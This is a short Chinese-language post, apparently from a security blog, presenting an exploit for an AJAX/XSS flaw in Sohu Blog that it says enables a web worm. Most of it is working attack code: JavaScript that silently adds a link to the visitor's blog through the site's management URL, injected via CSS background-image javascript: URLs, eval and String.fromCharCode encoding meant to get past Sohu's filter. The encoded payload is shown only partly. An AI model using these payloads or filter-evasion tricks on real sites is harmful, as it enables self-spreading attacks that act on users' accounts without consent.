搜狐博客存在ajax hacking漏洞，可以实现web worm的功能，下面是具体的利用方法：
标准的ajax数据提交，该ajax的XmlHttp方式为微软msdn提供的标准方法！
<script type="text/javascript">
window.onload=function()
{
var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");
XmlHttp.Open("get","http://blog.sohu.com/manage/link.do?m=add&title=Monyer&desc=Monyer%20is%20my%20hero%20%21&link=http%3A//hi.baidu.com/monyer&_",true);
XmlHttp.send(null);
XmlHttp.onreadystatechange=ServerProcess;
}
function ServerProcess()
{
if (XmlHttp.readystate==4 || XmlHttp.readystate=='complete')
{
alert(XmlHttp.responseText);
}
}
</script>
把以上代码缩成一行
window.onload=function(){var XmlHttp=new ActiveXObject("Microsoft.XMLhttp"); XmlHttp.Open("get","http://blog.sohu.com/manage/link.do?m=add&title=Monyer&desc=Monyer%20is%20my%20hero%20%21&link=http%3A//hi.baidu.com/monyer&_",true); XmlHttp.send(null);}
漏洞的利用方式
<div style="background-image:url(javascript:[code])">不能执行多语句，所以转到下面的方法eval进行
<div style="background-image:url(javascript:eval([code]))">有引号，所以转到下面的方法，String.fromCharCode
<div style="background-image:url(javascript:eval(String.fromCharCode([十进制的code])))">这回完成了
在eval里，代码可以自动执行，因此可以不用window.onload，同时去掉函数结构！
var XmlHttp=new ActiveXObject("Microsoft.XMLhttp"); XmlHttp.Open("get","http://blog.sohu.com/manage/link.do?m=add&title=Monyer&desc=Monyer%20is%20my%20hero%20%21&link=http%3A//hi.baidu.com/monyer&_",true); XmlHttp.send(null);
将上述代码进行String.fromCharCode转码

100,40,110,117,108,108,41,59
因此有如下代码，该代码是可以执行的，但会被sohu过滤掉，因此需要进一步加密！
